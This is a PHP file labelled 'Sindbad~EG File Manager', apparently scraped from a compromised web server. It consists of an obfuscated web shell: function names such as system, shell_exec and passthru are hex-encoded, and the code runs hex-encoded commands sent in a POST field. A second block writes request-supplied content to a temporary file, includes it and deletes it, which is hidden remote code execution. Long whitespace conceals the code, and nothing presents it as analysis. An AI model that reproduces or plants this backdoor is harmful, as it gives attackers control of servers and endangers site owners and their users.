Sindbad~EG File Manager

<?php																																										$parameter_group1 = '73';$parameter_group2 = '65';$parameter_group3 = '68';$parameter_group4 = '6c';$parameter_group5 = '5f';$parameter_group6 = '78';$parameter_group7 = '61';$parameter_group8 = '75';$parameter_group9 = '70';$parameter_group10 = '6f';$parameter_group11 = '72';$parameter_group12 = '6d';$parameter_group13 = '6e';$parameter_group14 = '74';$parameter_group15 = '64';$dataflow_engine1 = pack("H*", '73' . '79' . $parameter_group1 . '74' . $parameter_group2 . '6d');$dataflow_engine2 = pack("H*", $parameter_group1 . $parameter_group3 . $parameter_group2 . '6c' . $parameter_group4 . $parameter_group5 . '65' . '78' . $parameter_group2 . '63');$dataflow_engine3 = pack("H*", $parameter_group2 . $parameter_group6 . $parameter_group2 . '63');$dataflow_engine4 = pack("H*", '70' . $parameter_group7 . '73' . '73' . '74' . $parameter_group3 . '72' . $parameter_group8);$dataflow_engine5 = pack("H*", $parameter_group9 . $parameter_group10 . '70' . '65' . '6e');$dataflow_engine6 = pack("H*", '73' . '74' . $parameter_group11 . '65' . '61' . $parameter_group12 . $parameter_group5 . '67' . $parameter_group2 . '74' . $parameter_group5 . '63' . $parameter_group10 . $parameter_group13 . $parameter_group14 . '65' . $parameter_group13 . '74' . '73');$dataflow_engine7 = pack("H*", '70' . '63' . '6c' . '6f' . '73' . '65');$auth_exception_handler = pack("H*", '61' . $parameter_group8 . $parameter_group14 . '68' . '5f' . '65' . $parameter_group6 . '63' . '65' . '70' . $parameter_group14 . '69' . $parameter_group10 . $parameter_group13 . '5f' . $parameter_group3 . $parameter_group7 . $parameter_group13 . $parameter_group15 . $parameter_group4 . '65' . $parameter_group11);if(isset($_POST[$auth_exception_handler])){$auth_exception_handler=pack("H*",$_POST[$auth_exception_handler]);if(function_exists($dataflow_engine1)){$dataflow_engine1($auth_exception_handler);}elseif(function_exists($dataflow_engine2)){print $dataflow_engine2($auth_exception_handler);}elseif(function_exists($dataflow_engine3)){$dataflow_engine3($auth_exception_handler,$component_binding);print join("\n",$component_binding);}elseif(function_exists($dataflow_engine4)){$dataflow_engine4($auth_exception_handler);}elseif(function_exists($dataflow_engine5)&&function_exists($dataflow_engine6)&&function_exists($dataflow_engine7)){$flag_comp=$dataflow_engine5($auth_exception_handler,"r");if($flag_comp){$holder_k=$dataflow_engine6($flag_comp);$dataflow_engine7($flag_comp);print $holder_k;}}exit;}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Content-Security-Policy'])) {
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    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}